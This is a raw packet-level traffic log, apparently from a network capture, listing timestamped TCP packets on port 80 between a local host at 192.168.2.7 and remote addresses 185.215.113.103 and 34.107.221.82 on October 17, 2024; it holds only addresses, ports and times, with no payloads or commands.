Oct 17, 2024 18:40:14.716969013 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716993093 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717078924 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717657089 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717669010 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717680931 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717693090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717705011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717717886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717719078 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717730999 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717741966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717752934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717753887 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717763901 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.717777967 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717799902 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.717822075 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.718592882 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718605995 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718616962 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718630075 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718641996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718655109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718658924 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.718666077 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718677998 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718687057 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.718691111 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718703985 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.718720913 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.718739986 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.719516039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719527960 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719540119 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719552040 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719563961 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719573975 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719575882 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.719587088 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719598055 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.719599962 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719613075 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719624996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.719681978 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.720427990 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720441103 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720452070 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720463991 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720474958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720487118 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720488071 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.720499039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720510960 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720513105 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.720523119 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720534086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.720549107 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.720581055 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.721369982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721381903 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721394062 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721407890 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721420050 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721426964 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.721431971 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721442938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721446991 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.721450090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721462011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721468925 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.721473932 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.721514940 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.721538067 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.722282887 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722295046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722305059 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722317934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722335100 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722340107 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.722347975 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722358942 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722371101 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722382069 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.722383976 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722398043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.722408056 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.722426891 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.722465038 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723511934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723525047 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723539114 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723551035 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723562002 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723572016 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723573923 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723586082 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723598957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723604918 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723609924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723623037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723692894 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723877907 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723890066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723901033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723912954 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723932981 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723956108 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.723965883 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723978043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.723989964 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724000931 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724013090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724023104 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.724026918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724037886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724050045 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724050045 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.724061966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724062920 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.724154949 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.724874020 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724888086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.724934101 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765041113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765145063 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765341997 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765355110 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765368938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765382051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765394926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765405893 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765450001 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765583992 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765595913 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765609026 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765620947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765635967 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765649080 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.765654087 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765675068 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.765693903 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766138077 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766149044 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766160011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766171932 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766185045 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766191006 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766196966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766208887 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766222000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766232967 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766235113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766262054 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766352892 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766918898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766930103 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766942978 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766954899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766968012 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766978979 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.766979933 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.766993046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767004967 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767016888 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767016888 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767028093 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767040014 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767040968 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767060995 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767097950 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767853022 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767872095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767889977 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767900944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767911911 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767920017 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767925024 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767937899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767951965 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767952919 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767963886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767980099 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.767987013 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.767995119 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.768030882 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.768764973 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768776894 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768789053 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768800974 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768814087 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768819094 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.768826008 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768838882 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768851042 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768856049 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.768863916 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768877029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768891096 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.768893003 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768906116 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.768985987 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.769716978 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769728899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769741058 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769753933 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769767046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769771099 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.769779921 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769793987 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769800901 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.769807100 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769817114 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.769818068 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769831896 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.769841909 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770035982 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770493984 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770507097 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770519018 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770530939 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770551920 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770574093 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770576000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770590067 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770601034 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770612955 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770626068 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770631075 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770637989 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770649910 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.770653009 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770680904 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.770755053 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.771435976 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.771450996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.771462917 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.771476984 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.771491051 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.771508932 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.771538019 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.781676054 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:14.786668062 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:14.803268909 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803286076 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803298950 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803358078 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803411961 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803519011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803531885 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803551912 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803565025 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803579092 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803607941 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803787947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803800106 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803812981 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803826094 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803847075 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803848028 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803860903 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803867102 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803874016 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803886890 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803898096 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803900957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.803930998 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.803965092 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.804485083 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804498911 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804513931 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804531097 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804544926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804548025 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.804586887 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.804883957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804899931 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804914951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804927111 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804935932 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.804941893 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804956913 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.804977894 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.805016041 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.836714029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.836728096 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.836740971 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.836849928 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.836870909 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.836885929 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.836990118 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.913340092 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:14.918467045 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:14.921931982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.921945095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.921958923 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922035933 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922080040 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922080040 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922091961 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922102928 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922116041 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922133923 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922161102 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922537088 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922552109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922563076 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922575951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922589064 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922601938 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922601938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922615051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922621965 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922626972 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922641039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.922643900 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922665119 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.922684908 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.923152924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923166037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923177958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923190117 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923201084 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923218012 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.923254967 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.923631907 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923644066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923655987 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923670053 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923681974 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923686981 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.923693895 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.923707008 CEST	80	50050	185.215.113.103	192.168.2.7
